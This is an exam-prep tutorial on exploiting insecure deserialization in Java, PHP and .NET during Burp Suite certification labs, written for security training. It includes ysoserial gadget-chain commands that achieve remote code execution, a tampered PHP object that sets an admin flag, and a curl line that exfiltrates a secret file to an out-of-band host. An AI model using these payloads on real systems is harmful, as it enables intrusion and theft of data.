Skip to content

Insecure Deserialization

← Back to index · Stage 3 (read the secret) · Read the mindset page first.

Why it exists: serialization turns an object into a string to store/transmit; deserialization rebuilds the object from that string. If the app rebuilds an object from a string you control, you can craft a string that, during reconstruction, triggers code the developer never intended — because deserialization routines run constructor/magic methods on the data. On BSCP that's usually your Stage-3 route: a crafted object → RCE → read /home/carlos/secret.

The one rule: fingerprint the format → confirm it's deserialized (a zero-risk probe) → pick the gadget chain for that stack → deliver it. Never fire a chain blind — confirm the sink first.

Decision tree

flowchart TD
  A["Find a serialized blob: cookie / field / token"] --> B{"Fingerprint the bytes"}
  B -->|rO0 or AC ED| JAVA["Java"]
  B -->|O: or a:| PHP["PHP"]
  B -->|AAEAAA / __type| NET[".NET"]
  JAVA --> JC{"Confirm: URLDNS to Collaborator"}
  JC -->|DNS hit| YSO["ysoserial gadget chain"]
  PHP --> PC["Craft a magic-method object"]
  YSO --> RCE["RCE -> cat /home/carlos/secret"]
  PC --> RCE

Reading the response: before any gadget, read the tamper response — a deserialization error or stack trace when you flip a byte proves the blob is parsed server-side (and often leaks the stack/library). For the URLDNS probe the signal isn't in the HTTP response at all — it's the Collaborator DNS hit; no hit means it wasn't deserialized or didn't reach the sink, so don't invest in an RCE chain yet.

1. Spot & fingerprint — why the bytes give it away

Serialized blobs hide in cookies, hidden fields, and tokens, and each stack has a recognisable prefix because the format is standardised:

Stack Looks like Why
Java rO0AB... (base64) / AC ED 00 05 the base64 of Java's fixed stream header
PHP O:4:"User":... / a:2:{...} human-readable: O:=object, a:=array, with type/length prefixes
.NET AAEAAAD///// / JSON __type BinaryFormatter / Json.NET markers

2. Confirm it's actually deserialized — the zero-risk probe

Why confirm first: firing a full RCE gadget blind wastes time if the data isn't even deserialized (or the gadget doesn't match the classpath). Prove the sink cheaply: - Tamper test: change a byte/property and resend — a deserialization error or changed behaviour proves the blob is parsed server-side. (In PHP, editing a readable admin flag sometimes escalates on its own.) - Java URLDNS: this gadget has no library dependencies — it only triggers a DNS lookup, so a Collaborator hit confirms "yes, this is deserialized" without running code.

java -jar ysoserial.jar URLDNS "http://ID.COLLAB/" | base64    # DNS hit = confirmed sink

3. PHP object injection — why magic methods fire

Why it works: PHP runs magic methods automatically during an object's lifecycle — __wakeup() on deserialize, __destruct() on cleanup, __toString() when used as a string. If a class present in the app has a dangerous action in one of these, you craft an object of that class with properties that trigger it. PHP's format is editable by hand:

O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:1;}
// fix each string's s:N: byte count after editing; point a property at a gadget class
No source for gadget classes? PHAR deserialization triggers it via a filesystem function on a crafted archive.

4. Java with ysoserial — why a "gadget chain"

Why a chain: no single class gives RCE; instead you chain existing library classes (CommonsCollections, etc.) whose methods call each other until one executes a command. ysoserial builds these for you — you just need the right library on the target's classpath.

java -jar ysoserial.jar CommonsCollections4 'cat /home/carlos/secret > /var/www/images/s.txt' | base64 -w0
# unknown library? rotate: CommonsCollections2/3/4 · CommonsBeanutils1 · Hibernate1 · Jdk7u21
Match the original transport encoding (base64, sometimes gzip). GadgetProbe / Java Deserialization Scanner narrow which chain the classpath supports.

5. Turn RCE into the file read

You rarely get command output directly, so route it somewhere readable:

cat /home/carlos/secret > /var/www/images/s.txt   # then GET /image?filename=s.txt
curl https://ID.COLLAB/?d=$(cat /home/carlos/secret|base64)   # out-of-band

Failure modes

  • Fired blind, nothing happened → you skipped confirmation; run URLDNS first — the chain may not match the classpath.
  • Wrong chain → rotate CommonsCollections2/3/4, BeanUtils; use GadgetProbe to narrow it.
  • Encoding mismatch → re-apply the exact base64/gzip/URL encoding the original blob used, or the parser rejects it.
  • PHP object rejected → a s:N: byte count is wrong after your edit; recount the string length.
  • No command output → expected; write to the web root or exfil via Collaborator.